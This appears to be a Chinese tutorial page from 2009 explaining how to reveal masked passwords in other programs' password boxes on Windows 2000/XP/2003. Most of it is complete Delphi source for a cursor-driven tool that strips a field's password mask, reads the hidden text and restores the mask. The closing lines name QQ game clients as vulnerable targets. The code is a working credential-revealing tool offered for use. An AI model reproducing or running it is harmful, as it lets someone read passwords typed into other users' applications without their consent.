当前位置: 首页 > 图文教程 > 服务器 > Windows服务器 > Win2000/XP/2003下的密码探测器

Windows服务器
制作Windows 2003操作系统Ghost文件
Windows 2003共享资源拒绝访问修复实录
轻松架设Windows 2003中Web服务器
用Windows 2003系统架设邮件服务器
如何在Windows 2003中得到登陆密码
Windows 2003实用技巧七则
Win 2003系统也玩图片收藏屏保
Win 2003操作系统四例精彩问答
Windows 2003操作系统优化技巧
Win 2003英文系统中玩转汉字
Win 2003的“远程桌面”
简化Windows 2003域控制器密码
远程如何启用Win 2003桌面
Win 2003两种自动登录的方法
Win 2003中打开DirectX加速
Win 2003分发功能给网管减负
Win 2003如何转换成PC版系统
XP的小游戏移植到Win2003
九招Win 2003系统设置小技巧
Win2003播放画面粗糙的解决策略

Windows服务器 中的 Win2000/XP/2003下的密码探测器


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-01   浏览: 48 ::
收藏到网摘: n/a

    在Win98下,对于别的程序的密码框,我们可以用SendMessage函数可以对这个密码框下一个WM_GETTEXT 的命令获取这个密码框的内容。但自2000以后,微软的安全意识似乎强了一点,用这个命令对普通的窗口管用,但对于密码框已经不起作用了。

  有不少类似的程序是通过建立动态链接库的方式来获取,但是那样做太麻烦了,其实我们有更简便的作法。那就是对它先下一个命令,去除它的密码框的属性,然后再获取它的内容,最后恢复它密码框的属性。

{
 项目 :Win2000/XP/2003 下*号密码探测器
 作者 :黄涛
 日期 :2004年1月18日
}
unit uPassword;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls, ExtCtrls;

type
 TfrmPassword = class(TForm)
  edPassword: TEdit;       //显示密码的文本框
  Timer1: TTimer;       //定时器
  procedure Timer1Timer(Sender: TObject);
 private
  { Private declarations }
 public
  { Public declarations }
 end;

var
 frmPassword: TfrmPassword;

implementation

{$R *.dfm}

procedure TfrmPassword.Timer1Timer(Sender: TObject);
var s:pchar;
 i,n:integer;
 p:Tpoint;h:integer;
 c:integer;
begin
 getcursorpos(p);     //得到当前光标的位置
 h:=windowfrompoint(p);   //当到光标处窗口的句柄
 n:=getwindowlong(h ,GWL_STYLE ); //取窗口的属性
 if (n and $20) <>0 then begin    //判断是否为密码框
  c:=sendMessage(h, EM_GETPASSWORDCHAR,0, 0);
  //得到密码框当前的字符 如'*'等
  PostMessage(h,EM_SETPASSWORDCHAR,0,0);
  //设置密码框的字符为空,即去除密码框的密码属性,

   //此处一定要用PostMessage,而不能用 SendMessage,用后者无效
  i:= sendmessage(h,WM_GETTEXTLENGTH,0,0);inc(i);
  //取得密码串的长度
  getmem(s,i);   //分配内存
  sendmessage(h,WM_GETTEXT,i,longint(s)); //获取密码字符串
  edPassword.Text := s;    //将密码放入文本框中
  postMessage(h,EM_SETPASSWORDCHAR,c,0); //恢复原来的密码属性
  freemem(s); //释放内存
 end;
end;

end.

  本程序在 Window Server 2003 ,Delphi 7.0 Enterprise 下编译通过。但这个程序只对那些没有防范的程序有效,如QQ ganme 等,但对有些防范的程序来说还是无能为力的,如QQ2004 Beta的密码框是没用的。可见Win2000/XP/2003密码框的安全也是相对的,要想安全还要自己想办法。